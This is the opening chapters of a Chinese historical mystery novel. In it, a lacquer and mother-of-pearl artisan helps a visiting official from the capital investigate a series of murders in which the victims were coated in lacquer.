《霞锦流光》 第一章 髹饰影(1) 陵县,霞锦阁。 “小姐,不好了!” 冷萤瓷玉般的手,正拿着一张粗糙的砂纸,对桌上薄如蝉翼的螺片细心打磨,并没有理会丫鬟琉月小跑进屋后的咋咋呼呼。 即将打磨好的螺片,表面泛着流光溢彩之色,将冷萤那双本就细长的手指衬得更加剔透。 她的桌案上,摆着一方螺钿镶嵌的黑漆凤鸟砚屏,屏上凤鸟的羽毛由螺片镶嵌而成,点睛却用的蔷薇石。 在黑色的漆面上,五彩斑斓的翅膀,和艳红妖异的眼瞳,让这只凤鸟看起来栩栩如生,似要展翅高飞。 “小姐,出大事了!”丫鬟琉月见冷萤太过专注,想忍着晚点再说,奈何要禀报的事太重要了,她不得不再次出声。 “什么事?”冷萤夹起已切割打磨好的鸟羽状螺片,送到砚屏前对比,随即满意地点了点头。 这方砚屏,知县千金差人送来修复时,凤鸟上的羽毛不知怎的就缺了一块。 她费尽心思,对比了好几种品类的螺贝,才找到了光泽度较为相似的一种。 现下正是关键时刻,只要将这块螺片完整无损地嵌上去,她就可以向苏小姐交差了。 所以无论琉月此刻要说什么,她都不太感兴趣。 “县衙来人了。”琉月小声汇报。 冷萤听闻,漫不经心开口:“是苏小姐差人来取回砚屏吗?那你请人到大厅稍坐,我还需片刻。” “不是的……小姐,来的是捕快。”琉月捋顺了气,解释道:“县衙里说,咱们阁里的张福临,昨夜子时在家中出事了。” 冷萤正欲蘸取鱼鳔胶,听了琉月的话,拿起刷子的手顿了顿。 桌案上的香炉里,飘出的袅袅香雾围绕在砚屏四周。 她顺势放下刷子,问道:“张福临?他出了什么事?今日他未到漆室上工吗?“张福临是她阁中的漆工,为人老实但聪明。 她记得这人刚到阁里做工时,一些复杂的髹涂手法,他没费多大工夫便学会了。 “他今日并未上工。”琉月老实答道。 “祖母知道这事儿吗?” “知道的,老夫人现下就在前厅。” 这事情都惊动祖母了,必定不是小事,冷萤等琉月替自己系好披风,抬脚便往门外走。 行至卧房门口,见琉月并未跟来,她转身欲催促,却见那丫头竟怔怔地站在桌案前,一动不动。 “琉月,怎么还不走?”冷萤见琉月手中捧着的东西,便知她刚才是回去帮自己拿手脂去了。 “小姐……”琉月望着她修复的凤鸟砚屏,带着惊惧神色道:“您看这凤鸟的眼睛……怎么在流血?” 冷萤的第一反应,以为是琉月看走眼了,但还是配合走到桌案前瞧了一眼。 只一眼,便让她脸色骤变。 只见那凤鸟本就妖艳的红色眼珠下,正诡异地淌出了两行血泪。那红色的液体,蜿蜒流过闪着绚丽色彩的白玉贝片,将所到之处全染上了一层浅浅的妃色。 怎么会这样?凤鸟泣血,仍不祥之兆! 她不能让这件事情在霞锦阁内发生,如果传了出去,本就惨淡的生意,则更加回天乏术了。 “琉月,将香烛端来。”冷萤眼神未转,唤丫鬟端来香烛,径直照向凤鸟的瞳孔。 蔷薇石在烛火的照耀下,泛起了暗暗的流沙。不多时,上面的色彩便慢慢晕开,又细细流下。 不太对!她秀丽的眉头微微皱起。 冷萤是一名螺钿镶嵌手艺人,所以会时常接触到珠宝美玉。这蔷薇石被烛光一照便现出了原形,似乎让她找到了凤鸟泣血的真正原因。 蔷薇石虽质地细润,如蜡初熔。但绝不会真的就这样被烛火烤一烤,便如蜡油一样化开。 冷萤不顾丫鬟的阻拦,用手指轻触凤鸟的眼瞳后,放回鼻尖闻了闻。 瞬间,一股难闻的气味直冲鼻腔。 她搓了搓手指,却发现手指上的液体已然凝固成了一层红膜,干涸地附在了皮肤上。 琉月忙拿起手帕替冷萤净手,担心道:“小姐,您都不知是何物,便直接上手。万一这东西有毒怎么办?” 冷萤任由琉月摆布,一双丹凤眼依旧盯着那方砚屏,像是在思考什么。 忽而,她拿过擦拭的手帕,朝那两颗蔷薇石上擦了擦。 瞬间,两颗石头如蒙尘遗珠般,在被冷萤用手帕擦净后,变得极为晶莹透亮,光芒夺目。 原来如此! 这两颗凤眼所嵌之物,哪里是温润的蔷薇石,明明就是价值连城的红宝石。 一旁的琉月被惊得大张着嘴巴,半天无法合拢。“小姐,这石头怎么变样了?” “奇怪……”冷萤对宝物并没多大反应,倒是对另外一件事产生了好奇,于是问丫鬟:“琉月,这方砚屏,是苏小姐的贴身丫鬟送过来的吗?” 苏琬琰,陵县父母官苏知县的掌上明珠。 琉月摇了摇头,答道:“不是青果。好像……是一个小厮模样的人送来的,简单地交代几句便走了。” 冷萤点点头,没再说话。 “小姐,这砚屏是有什么问题吗?”琉月小心翼翼地问轻蹙着眉头的冷萤。 对方只将香烛递还到她手上,轻摇了摇头。“那……”她忍不住再次问道:“我们还去前厅吗?” 琉月的提醒,让冷萤猛然想起还有这茬子事。 她忙拢了拢身上的披肩,转身朝门口走去,“当然要去,别让祖母和官爷们等久了。” 冷萤踏入前厅时,里面早已聚集了一群人。 有几名捕快正在对两位漆工问话,祖母江氏则坐在主位上聆听,见冷萤进来忙招手让她过去。 “祖母。”冷萤行礼。 江氏让冷萤上前,摸了摸她眼下的黑青,心疼道:“气色如此不好,昨夜几时休息的?” “丑时末。”冷萤心不在焉地回了句,便问道:“祖母,张福临家中是出了什么事吗?” 江氏身边的丫鬟正准备对冷萤说明,一名年轻的捕快张口说道:“昨夜子时,你们阁中的漆工张福临,被同村人发现死在了家中。” 张福临,死在了自己家中? “他死状极其恐怖,全身上下被人涂上了大漆,五官尽毁,凡能出气的地方,也全被封得死死的。”另一名捕快则透露。 冷萤光是听捕快讲述,便不寒而栗。 大漆在接触空气后会变黑,所以张福临在几个时辰后被同村人发现,全身必然变成了黑褐色。 但皮肤龟裂……? 她不用想,便知那场景一般人看了估计都要做上好几日的噩梦。 第二章 髹饰影(2) 大漆是制作漆艺品的饰料,既昂贵又不易得。 陵县盛产大漆,后山还生长着一种独有的漆树品类。但普通的老百姓,是很难完全接触到的。 因为漆树生长与采集都极为不易,所以常有“百里千刀一斤漆”的说法。 杀害张福临的人,是真的使用大漆将人活活闷死,还是用别的方式将他杀害后,再髹涂上大漆作为掩饰呢? 这件事情实在不太寻常。 “我们过来是想打听一下。请问冷掌柜,张福临平日里有没有仇家,或者他最近有和什么人发生过冲突吗?”年轻捕快解释来意。 冷萤扫视了一圈屋内的人,大概清楚了目前的情况,她直接问那年轻捕快:“是需要我去县衙协助调查么?” 与其在这里引起阁内众人的恐慌,影响了生意,不如她直接随县衙里的人走一趟。 年轻捕快点点头道:“如果冷掌柜不忙,随我们去县衙一趟更好。以目前情况来看,张福临之死虽与贵府没有直接关系,但他毕竟是霞锦阁的漆工。而且,他全身裹满的漆液,通常也只有你们匠作的商铺里才有。” “好,那各位稍等,我交代些事情便与你们一同过去。”她一口应下。 冷萤对被叫来问话的匠师、学徒还有下人安抚了一番,让他们现在该干啥干啥去。 然后对祖母江氏说道:“祖母,张福临毕竟是我们阁里的人。要麻烦您安排人去他家中看看,送去赙赠聊表心意。” “这个我晓得。”江氏拍了拍冷萤的手背,轻声道:“你自己当心,死了人,虽然与我们无关,但人命官司大家避之不及,你可别一股脑地往上凑。” 冷萤连连点头,让祖母在家中安心些。 在官差的引领下,一行人很快来到县衙,其实路程也不算远,只隔着一条街而已。 几人进了衙门,经过大堂,便径直朝后堂走去。 刚到后堂,冷萤便明显感觉氛围有些不对。她看见侧厅摆着的两具面目全非的尸体,心中忽然升起了一种不祥之感。 有几位捕快姿态随意地站在一旁。冷萤一小步一小步慢慢挪过去,这些捕快看见她也只是扫了一眼,并没有过多理会。 她走近一看,眼前这两具被毁容的尸体,身体皮肤的颜色明显不太对。 他们全身上下,并不是已死之人毫无血色的惨白肤色。而是一具尸体涂满了褐色的大漆,而另一具则涂着灰黄色。 那诡异不规则的色泽,伴随着恐怖龟裂的纹理。让这两具尸体看起来,就像是从地狱回归到人间的恶鬼。 “啊……”后知后觉的冷萤,内心终于感觉到了害怕。她慢了一拍叫出声,脚步慌乱地连连退后几步,身体却撞到了什么东西。 于是,她便更加恐慌了。 几乎是在一瞬间回过头,待看清身后的并不是什么妖魔鬼怪,而是一个正常的人之后,她硬生生地吞下了即将脱口而出的惊呼。 “吓到了?”被撞的是一位年轻男子,问了一句后他偏头看向一旁的捕快,捕快们则立即一改方才那颓废之色,变得挺直腰杆、目不斜视。 “这位公子是?”见此情形,冷萤意识到这男子的身份非同一般。 “上京刑科给事中,方骅。”来人拿出牙牌,自我介绍。 京城里来的官员?果然是身份不一般。 她立刻反应过来准备行礼,对方又开口:“不必多礼。你便是霞锦阁的冷掌柜吧。” 冷萤乖乖点头。 “听闻冷掌柜与苏县令之女苏琬琰是好友?” “苏小姐是县令之女,民女只是一介商户,如何高攀得上。只是苏小姐喜爱髹饰之物,我又略懂一点,一来二去交往便多了些。”冷萤不知来者何意,所以不敢多说什么。 方骅指了指厅内摆放的两具尸体:“那冷掌柜可知这两位死者是谁?” 冷萤有些诧异,这两具尸体已面目全非,浑身又裹着干涸的大漆,她怎知是谁? 依方才那年轻捕快所说,张福临的死状便是全身裹满着大漆,莫非其中有一具是他? 如此说来,那另一具尸体又是谁呢? 见冷萤未作答,方骅也没卖关子。 “这两位死者,乃是陵县知县苏林生与其女苏琬琰。” “您说什么?”冷萤脸色大变,立刻看向那两具外表极其恐怖的尸体。 她的心瞬间揪疼了一下,且不说自己与苏小姐有往来,那苏县令可是陵县公认的好官啊。 苏林生自调任陵县,十余年勤勤恳恳,任劳任怨,是县里百姓的靠山。 如果让县里的百姓知道,他们的知县大人被人所杀害,那只怕要激起强烈的民愤不可。 知县父女之死,和张福临之死,从目前的杀人手法上来看,应当是同一伙人干的! 冷萤忽然想起阁中那泣血的凤鸟砚屏,便是苏琬琰派人送去的,会不会也和这几起命案有关? “大人,可以让民女瞧瞧尸体吗?”她抬头,看向眼前的男子。 “冷掌柜不害怕么?” 方骅话还未说完,就见冷萤两步就走了过去,完全没有在害怕的意思,便也自觉收了声。 “大人找到线索了吗?”冷萤边打量尸体,边问道。 “暂时还没头绪。”方骅答道:“但苏知县和苏小姐,还有张福临是同一日遇害。凶手不出意外的话,应该是同一个或者同一伙人。” “在大人看来,民女是否也有嫌疑?” 方骅点头,旋即又摇头,道:“目前还没查到冷掌柜你杀人的动机。一个人如果连杀人动机都没有,那大概率不会是凶手。” 对方回答太过官方,冷萤也并未放在心上,只是忽然抬手朝他伸去。 方骅一时未反应过来,问道:“要什么?” 抬头看了眼出声之人,冷萤才蓦然反应面前之人不是自己的丫鬟琉月。 她脸微微发红,不好意思道:“对不住啊,大人。民女在家做工时,都是丫鬟在一旁递物件儿,习惯了。” “没事,我也可以。”方骅表示理解,随后说道。 听了这话,冷萤有些诧异地看了他一眼。 第三章 髹饰影(3) 以为她是不好意思开口,方骅直接问:“需要什么东西?我可以去拿。” “不劳烦大人了,县衙的布局民女应该比大人更熟悉一些。”冷萤说完走出大厅,朝内院走去。 她来给苏婉琰送过几次东西,大致的方位应该不会走错。 找到厨房,她让还在厨房候着的厨娘帮忙打了大半碗豆油,便立刻又回到了侧厅里。 将盛着豆油的瓷碗放在尸体旁边,冷萤从随身背的小包里拿出一把毛刷。 她先是双手合十,对着尸身诚心祝愿苏大人父女安心往生,才又转头问方骅:“大人,仵作已经验过尸体了吗?” “验过了,初步怀疑是窒息死亡。但我总觉得事情没这么简单,尸体上可能还有我们不知道的秘密。”方骅微微皱眉道。 “大人可敢让民女一试?”冷萤拿着毛刷,睁着一双澄亮的眸子看向他。 方骅沉吟了一会,点点头:“我在这看着,你有任何需要随时同我说。” 冷萤拿着刷子朝碗里蘸取了点油状物,用毛刷在其中一具尸体上轻轻刷了刷。 她操作时,还不忘向对方解释:“碗里是豆油,可以用来清理漆液。如果尸体上的东西确为大漆,那苏知县、苏小姐和张福临的死亡时间,应当不是昨夜子时。” “不是昨夜子时?”方骅有些惊讶地问道:“那是什么时候?” “大概也有三日了。”冷萤答。 “那不可能!” 冷萤思虑片刻,说道:“我也认为不可能,张福临昨日明明还在我阁内做工。所以这几具尸体身上髹涂之物,或许不全是大漆。” “那还有什么?”方骅又问。 冷萤举起毛刷,看着干干净净的刷头,凝神细想了好一会儿才回道:“凝固相对较快的石蜡。” “石蜡?” “对!” 方骅极为想不通,“尸体上有石蜡,为何仵作会验不出?” 冷萤收起毛刷,“凶手将石蜡与各色颜料混入大漆中,一般人很难发觉异样。就算是有所察觉,也只会以为是拿来做调制漆色之用。” “怎么说?” “正常漆工的操作,在工序的最后一步,可能会选择涂上一层石蜡或者松香,起到对漆器的保护作用。但凶手却不是这样做的。”冷萤走到一旁净手,顺便解释。 “大人您看。”净完手,她随意在身上擦了擦,示意方骅看向那两具尸体,“尸体皮肤表面出现了严重的龟裂,这说明凶手在调制大漆这一步,便直接加入了石蜡,才会导致有这种情况出现。” “你的意思是说……”方骅猜道:“凶手对漆艺其实并不了解?” 冷萤摇摇头,道:“不,恰恰相反。凶手应是对漆艺格外了解的人。” 见方骅仍旧一脸不明,她淡淡道:“他这样做,只不过是为了让尸体表面的大漆快速凝固罢了。” 听到这里方骅恍然大悟,思忖:“难道……凶手是想利用大漆掩饰什么?” 冷萤点头,“民女不敢妄下结论。但凶手在这样短的时间内如此费时费力,如果不是为了隐瞒什么,属实有点小题大做了。” “陵县,有谁能够大量接触到这两样东西?”方骅若有所思问道。 “我。”冷萤心不在焉地回了一句。 感觉对方似乎被自己的回答噎了一下,才忙解释道:“民女的意思是,除了霞锦阁,陵县还有一人可以大量接触到这两样东西。” “谁?” “城东漆器铺的孙掌柜。”冷萤看向他,一字一句道。 冷萤发誓,自己真的没有恶意竞争。陵县不大,做漆器生意的也就这么两家,她只是实事求是罢了。 “好!多谢冷掌柜提点,方某这就派人过去。”方骅微微点头,以示感谢。 “民女倒是也没提点什么……”她扯开一抹僵硬的笑。 看样子,这位京中来的官员,暂时没有将自己视为怀疑对象。 既然如此,冷萤想回去仔细瞧瞧,苏琬琰派人送给她修复的凤鸟砚屏。正想着如何告辞离开,一位官差突然着急忙慌地跑了进来。 “大……大人。”那名官差应该是一路飞奔回来,气都还未喘匀,“我按您的吩咐去接孙掌柜,结果发现他……他死在了家中!” “什么?”方骅与冷萤异口同声。 冷萤倏地看向方骅:“大人其实早已打听清楚,何故还来问民女?” 见她面有愠色,方骅连忙解释:“冷掌柜,你不要误会。方某也是担心此前向人打听的消息有遗漏,才出此下策。” 哼!全陵县都知道,只有她与孙掌柜两家经营髹饰之物,这人明明就是在玩欲擒故纵! 此时的冷萤心中已非常清楚,眼前这京城的官儿绝非是好相与的。自己方才还帮忙验尸解说,看来真是班门弄斧了。 莫说人家查案是专业的,了解到的事情比自己多太多。 就连方才那一系列的动作,也都只是在套她的话,观察她的反应而已。她竟一点都未曾察觉,甚至觉得对方未曾怀疑过自己。 见冷萤不作声,方骅再次开口:“我确实是想了解案情,顺便了解一些漆艺知识……” 冷萤将目光放在他腰间,开口打断他的话:“大人腰间的漆扇,怕是年代久远了吧?” 方骅低头看向自己腰间别的漆扇,仿佛这才想起了它,有些尴尬道:“当然,方某对漆艺也着实是喜爱。”随后,他僵硬地转开话题,“冷小姐,你想不想一同去孙家的漆器铺看看?” 冷萤暗想,陵县一下死了好几个人,而且都与大漆之物有关,霞锦阁会不会也被卷了进去? 所以不管她再想如何去撇清关系,也无法改变,自己迟早会被卷进这起连环杀人案的结局。 如果有可能,冷萤是希望尽快把这案子查清的。为了苏知县父女,为了张福临,也为了霞锦阁。 想到这里,冷萤无奈但坚定地点了点头,回道:“想!” 方骅一笑:“那走吧!” “是,大人!”冷萤乖乖应声。 清者自清。 不管对方是否还在怀疑,冷萤此刻只希望用自己的片长薄技,加速破案的进程,尽快找到凶手让受害者早日安息。 第四章 髹饰影(4) “大人,您和冷掌柜进去时,脚下当注意些。” 冷萤站在满屋满墙全是血红色的漆器铺里,才明白捕快为何要特意提醒他们。 屋内墙上与地面,还有名贵的漆器和漆画上,不知为何全被洒上了红色的漆料。 乍一看,她还以为是谁身上的鲜血喷溅导致的。 仵作已在里面验尸,她跟着方骅走过去,便瞧见了孙掌柜那具骇人的血色尸身。 尸体被涂上了血红色的大漆,皮肤表面同样呈龟裂状。只是……这次孙掌柜在死前似乎受过惊,导致他嘴部大张,面部呈惊恐状。 “若是害怕,可出去透透气。”方骅头也未回地开口。 冷萤正在仔细观察一樽团纹漆盒,她用手轻触上面沾染着的红色漆料搓了搓,不知在想些什么。 见她未回答,方骅转头问道:“发现什么了吗?” 冷萤颇为苦恼地摇了摇头,开口:“暂时还想不出什么。” 她总觉得这屋内到处都是问题,但让她说,她确实又说不出个所以然来。 须臾,仵作验完尸对方骅汇报:“大人,死者乃是惊吓过度,导致的气绝身亡。” “惊吓过度?”方骅走到尸体旁,弯腰查看。 “大概的死亡时间。”他一边仔细观察尸体的状态,一边问道。 “昨夜子时末。”仵作答。 “又是子时?”冷萤也走过来,疑惑道:“这凶手,昨夜子时到底杀了多少人?” 方骅勾了勾唇角,看着一脸认真的女子问道:“你怎知,凶手就只有一个人?” 他这样一提醒,冷萤豁然开朗。 方才她脑袋里一直想不明白的事情,似乎也突然有了头绪。 低头,她开始顺着地上干涸的漆痕,摸索着走到一间紧闭着的房间外。 “去哪里?”方骅在她身后问。 “大人,可否请人帮我将这扇门打开?”冷萤试了下,发现门好像被锁住了,她怎么也打不开,只好转身求助。 方骅不懂她为何突然这样要求,但还是朝店外站着的人招了招手,示意他上前帮忙。 来人让冷萤站远些,正准备提起一脚将紧闭的房门踹开时,外面传来了一阵急切的声音。 “慢着!” 冷萤回头,发来赶来的是陵县典史王大龙。 王大龙气喘吁吁地朝方骅行礼:“下官王大龙来迟,请大人赎罪。” “无事。”方骅示意他起身,见对方满脸是汗,问道:“不知王典史这两日去了哪里,怎么县里出了人命也不见踪影?” “下官……”王典史狼狈地擦了擦额头的汗水,小心翼翼道:“下官被知县大人派去邻县办事。谁知今日刚回来,便发现出了好几起命案。知县大人爱民如子,怎么就……” 他似是格外懊悔,但后面的话还未说完,便直接被方骅打断。 “好了,场面话不必多说。你可知,苏知县有没有仇家?或者,县里最近有无可疑人员出入?”方骅直入主题。 “知县大人,爱民如子……”见王典史又老话重提,方骅忍不住皱了皱眉。 对方见状,才改口答道:“知县大人温和敦厚,在陵县并无任何仇家。只是最近似乎与一个人发生过口角。” “谁?” 王大龙想了好一会儿,才低声道:“城南米商家的独子,林云谢。” “也是苏婉琰的未婚夫。”冷萤在一旁向方骅解释。 方骅点头表示了解,看向还在不停流汗的王大龙,继续问道:“因何发生的口角?” “这……下官就不太清楚了。我只知当时二人吵完架后不欢而散,苏婉琰这丫头居然丢下自己的老父亲,追着那小子去了。”王典史在说这句话时,嘴角似有若无地讽刺一笑。 冷萤看着微微变脸,又很快恢复谦卑姿态的王典史,有些意外地眨了眨眼。 方骅命下属送上帕子给对方擦汗,再次询问:“王典史还未答我,最近有无可疑人员出入陵县。” 他话音刚落,王大龙拿帕子的手停顿了一瞬,才又继续,“陵县就这么大,下官的人也随时都在四处巡查。若是有可疑人员出现,他们必定会马上汇报。”说完他还顺势看了一眼冷萤。 冷萤被瞧得一脸莫名,他们谈可疑人员时,这王典史看她作甚? “来此地经商的也没有吗?”方骅一刻不停地问道。 谁知,王大龙又瞟了眼一直站在方骅身边的冷萤,才回道:“回大人,无。” 直到这一刻,冷萤终于发现了! 这王典史根本就不是在看自己,而是一直在看她身后,那扇差点被侍卫一脚踢开的门。 难道,这王典史与自己想到一处去了? 漆器铺的老板孙掌柜,可是刚搬到陵县不久。 说来,这人也挺倒霉的。刚来陵县没几日,就不知被谁,用如此诡异的方式给活活吓死了。 难道……其中真有什么猫腻? 想到这里,冷萤转身想要继续打开那扇门。 突然,王大龙仿佛想到了什么,扯着嗓子朝方骅说道:“大……大人,下官想起来还有一件事情!” 冷萤只好又停下脚步,转身有些好奇地看向王大龙。 “王典史请说!”方骅抬手示意。 “是这样的,就是下官有一次听见,知县大人似乎在询问师爷,说是用哪种办法退婚,才不会影响到苏小姐的闺誉。”王大龙边想边说着。 “退婚?”还未等方骅开口,冷萤便抢先问道。 这不可能! 苏婉琰与林云谢是指腹为婚,且知县夫人与城南的林夫人可是手帕交。 这在陵县谁人不知? 不管怎样,这两家都不可能走到退婚这一步的。除非…… “苏知县为何突然想要退婚?”方骅不是陵县人,自然没觉察到不妥。 他此话一出,王大龙则立刻摆出一副只说与他听的姿态,直接硬生生地用行动将冷萤排除在他们谈话之外。 冷萤无言,她又不是长舌妇,才不想与他们一起谈论已死之人的隐私。 可谁知道,方骅居然一把将她拉了过去,她也只好站在那里被迫聆听了。 就见,王典史贼兮兮地小声说道:“听说,是苏婉琰爱上了别人。你说这女人啊……” 她还不如不听呢…… 第五章 髹饰影(5) 方骅与冷萤一同走出了漆器铺。 在王典史的殷勤巴结下,方骅本就刚直的性格实在有些受不了,便借口去林家瞧瞧,带着冷萤走了出来。 “这王典史……”冷萤喃喃一句后,又戛然而止。 “怎么?”方骅以为她发现的什么,开口问道。 冷萤表情复杂地抬头瞧他,直瞧得方骅开始有些不自在了,才淡淡开口:“民女第一次瞧见王典史说人闲话和巴结人的样子。” 她甚至开始回想,自己初见到方骅时,态度是不是过于不识趣了。 见对方说的话对案情毫无任何益处,方骅转身便走。 “大人,那间房不去查了吗?”冷萤没想到,他竟真的准备离开。 “谁说不去的。”方骅这才停下脚步,等她一起。 “那为何王典史刚奉承了几句,大人便听了他的话离开?”她有些想不明白了。 见她还是不懂,方骅干脆带她走到一旁,小声道:“夹子已下好,只待夜半前来取猎物便可。还好冷掌柜刚才没有真的进那间房,就这样摆摆样子挺好的。” 下夹子? “猎物?”冷萤沉吟片刻后,似乎终于明白了他的意思,“您是说凶手今夜便会行动?” 方骅见她一点就透,知是明白之人,便也没再多说。 二人在行至城南林家的路上,冷萤瞥了眼方骅腰间的折扇,犹豫地开口:“民女……可否瞧一眼大人的折扇?” 方骅听闻,垂首将折扇从腰间拿出递给她,大大方方,“这有何不可。” 冷萤小心接过,下意识地抿了抿唇,动作极轻地打开。 随着折扇缓缓展开,映入眼帘的,便是一幅用螺钿镶嵌的百花千鸟图。 她屏住呼吸,莹白的手指开始微微颤抖,微微上翘的眼尾因为激动,染上了浅浅的红晕。 方骅自今日见着这冷掌柜,对方便给他一副待人有礼,但也格外疏离的感觉。 此时乍见她情绪如此激动,竟不知该如何开口了。 “冷掌柜莫非识得此物?” 他一句话,让冷萤瞬间收起了外放的情绪,只是一双黑眸依旧带着些许雾气,一动不动地盯着手中的折扇。 “这把折扇,大人是从何处得来的?” 这个问题,倒是把方骅给问难住了。 见对方目光一直未从折扇上离开分毫,他只得答道:“自我开始习武,父亲便将这把折扇赠与我当武器。至于是从何处得来的,我确实不知……” “什么?”冷萤表情微变,语气愤慨:“这百花千鸟螺钿折扇,全天下仅此一把。你们……居然拿它当武器?” “有何不可?”见对方满脸不可思议地看着他,方骅甚是疑惑地问了句。 是啊,有何不可? 冷萤强迫自己收敛情绪,内心却顿觉悲哀。 制作这把折扇的人,早就不在这人世间了。又有谁……会真正心疼她苦熬几年、没日没夜做出来的把玩之物? “大人说得对,不过是身外之物而已。”冷萤淡笑应和。 她手指轻轻摩擦扇骨处,感受因为年代久远螺贝脱落,而造成的浅浅痕迹。 虽不舍,但还是礼貌地将折扇交还给对方。 只是…… “大人当真不知,令尊是从何处得来的这把折扇吗?”她还是不死心地又问了一遍。 “真不知。”方骅摇了摇头,随即又开口:“不过回到京城后,我可以代冷掌柜向家父问一问。” 冷萤盈盈一拜,努力控制住自己激动的情绪,“那就多谢大人了,冷萤不胜感激。” 两人说话间,已到达林家米铺门口。 出门迎接他们的,正是林家独子林云谢。 “林公子。” “冷掌柜,今日怎么有空前来?请问,这位是……”林云谢满面笑容地同冷萤打完招呼,在看见旁边站着的方骅后,表情变得有些疑惑。 “这位是京城来的方大人。”冷萤并未特意介绍官职,因方骅在来的路上特意交代过。 林云谢也并未询问,只是有礼道:“草民林云谢见过方大人!”态度不似见到冷萤那般热情。 方骅微微点头,单刀直入问道:“林公子,是苏婉琰的未婚夫?” “回大人,是的。”林云谢自如答道。 “听说你们最近关系不太好?” 冷萤怎么都没想到,方骅会耿直到这个地步。他不想暴露身份,却又如此直接打探人家隐私,当真是不怕对方翻脸吗? 想到这里,她转头细细观察林云谢的神情。 却见对方压根不觉有异,仍是一脸笑容,“大人明察秋毫。草民……最近与婉琰确实吵过几次嘴。” “难道,不是与她父亲苏知县吵嘴的吗?”方骅双眼如墨,直直盯着林云谢。 林云谢听罢一愣,笑容微收后,复又扬起,“大人知道得可真清楚。确实与知县大人也争论过几句,不过都是小事罢了。” “什么小事?” 终于,冷萤见林云谢的笑意僵在了脸上,刚准备打圆场时,却听林云谢重重叹了一口气。 随后,颇为无奈道:“知县大人嫌草民是商贾出身,不想将爱女嫁与我了。” “那为何之前又愿意嫁?”方骅明显不信他说的。 “因为我娘刚过世了。”那俊秀公子微微闭眼,再也无法保持脸上的笑容,睁眼时便开口道。 “林公子节哀……”冷萤连忙说。 “节哀。”方骅也跟了一句。 冷萤总觉得,直到这一刻,她和方骅才得以窥见对方的真实情绪。 他们刚来时,林云谢的笑容她看着都觉着假。这或许也是方骅一句接一句,不间断问询的原因吧! 这时,方骅的语气也和缓了一些,“你的意思是,苏知县原本同意你们的婚事,也是看你母亲的情面上?” 林云谢麻木地摇了摇头,说道:“准确地说,是看在琬琰去世的母亲与我母亲交好的情面上。” “那苏婉琰本人呢?愿意嫁你吗?”方骅毫不客气地问道。 “婉琰当然愿意!我俩自小便玩在一起,她怎么可能会不愿意?”林云谢几乎是立刻答道。 “那你们这几日见过面吗?”冷萤接过话,问了一嘴。 她今日来,总觉得林云谢的情绪有些不太对。 “并未……”林云谢表情有些委屈地低下头,好半晌才道:“婉琰她最近在生我的气,一时半会应该不会想要见我了……” 见他神情沮丧,冷萤有些不忍开口,但她却忽略了自己身旁有个铜铁般意志的人。 “苏林生和苏婉琰,昨夜子时被人杀死了。这件事情你知道吗?”方骅毫无语言修饰能力,开口便给了林云谢暴击。 “您……说什么?”林云谢听闻,抬起的脸“唰”的一下全白了。 第六章 髹饰影(6) 见林云谢满脸不可置信,眼眶瞬间涨红,身体开始不受控制地摇摇欲坠。 冷萤站在一旁,却不知要如何安慰他。 “林公子,节哀……”她暗叹一声,为这对有缘无分的未婚夫妇。 林云谢过了好久还是无法接受现实,他慢慢抬起手掩住面容,再放下时已是泪流满面。 “我能去看看他们吗?”他泣声问道。 “抱歉,暂时不能。”方骅虽也不忍,但还是公事公办。 “求求你了,大人。苏家……已无人为他们处理后事了。”林云谢哀求。 方骅盯了他好半晌,才又开口道:“凶手都未找到,就这样草草善后,你甘心吗?” “林公子,你放心。我们定会找出凶手,以告慰知县大人和苏小姐的在天之灵。”冷萤非常能理解林云谢此时的心情。 听了她的话,林云谢哀求的目光里闪过一丝冷意,正当冷萤以为自己看错时,却听见他一字一句道:“凶手,就是王大龙!” 见林云谢如此说,冷萤虽然表面不动声色,但内心还是颇为震撼的。 虽然今日她见到王大龙时,确实觉得对方的行为与往常有所不同。 但起初只是以为他想巴结方骅。 毕竟在陵县这个小地方,也许待上一辈子,都无法见到几次京城里来的官员。 可林云谢如此振振有词地告诉他们,王大龙就是凶手。 难道……他是发现了什么? “证据呢?”方骅先她一步问了出来。 “方大人与冷掌柜,你们何不去后山的漆树林看看?”林云谢举起手,朝不远处茂密的树林指着,然后对二人说道。 漆树林? 后山上的漆树林里,除了种植着陵县独有的漆树外,应该什么都没有才对。 那一处,苏林生命人常年守在那里,那是陵县独有的宝藏之地,怎么可能会藏匿着凶手犯罪的证据? “你是说,王典史犯罪的证据就在那里?”冷萤虽不解,但还是开口问道。 “冷掌柜是内行人,过去瞧上一眼便什么都明白了。”林云谢又恢复到初见时的状态,只是总噙在嘴角的那抹笑意不见了。 他到底是什么意思? 冷萤正欲追问,方骅却率先开口对林云谢道谢:“多谢林公子,我明白了。” 他就明白了? “大人明白什么了?”冷萤微微皱眉,问道。 方骅并没有立刻回答她,而是微微侧首。下一秒,一个男人突然不知从哪里窜了出来。 “大人。” “陈全,多叫上几个兄弟,随我去一趟后山。” 陈全停顿片刻,立刻答道:“是!” 方骅安排完,这才转身道:“要麻烦冷掌柜,陪我去一趟后山了。” “义不容辞。”冷萤也不再执着探寻,反正到了后山,自然便会明白了。 她答应得如此爽快,其实还有一个原因,就是后山那个地方,对她这种手艺人来说,实在是太有吸引力了。 即便她经营的霞锦阁做着与漆艺相关的买卖,但每年的大漆还是得按量购买。 漆树生长条件严苛,生长周期也格外漫长。一棵正常的漆树,起码要生长八至十年,才能允许定时定量采漆。 而每棵割完漆后的漆树,须得休息两年,才能进行下一次采集。 如此稀缺,必定要好好保护。 所以后山的守卫从未断过,苏林生更是为了保护陵县的命脉,每年都会请人到后山勘验土壤状态,以保证漆树有良好的生长环境。 冷萤就从未去过后山,今日倒是可以跟着这位方大人去开开眼界了。 翠树苍苍、雾气袅袅 一行人正爬至后山最陡峭之处,方骅回头看了眼身后的冷萤,见她虽面色红润,但神情却有些疲惫,遂问道:“不如找个地方休息一下。” “不用休息。”冷萤看了眼天色,他们得赶在天黑前下山,“我可以!” 见她逞强,方骅想了想,捡起地上的一根木棍递向她。 冷萤也不矫情,抓住了木棍的另外一端,缓了口气才开口:“那就多谢了。只是大人,我总觉得这座山上有些奇怪。” ”哪里奇怪?“方骅四处张望了下,并未发觉有何不妥。 冷萤擦了下汗,随即说道:“这山上的守卫不知都去哪里了。依苏知县平日谨慎的做事习惯,我们快行至山顶了,不可能连一个守卫都瞧不见。” 经她的提醒,方骅顿时也察觉到了不妙。 “你说得有道理。”他应了声,随后朝身后的几人命令:“快到山顶了,都打起精神来!” “是!”后面几个异口同声回道。 方骅不愧是习武之人,有他的助力,冷萤爬山轻松了许多。 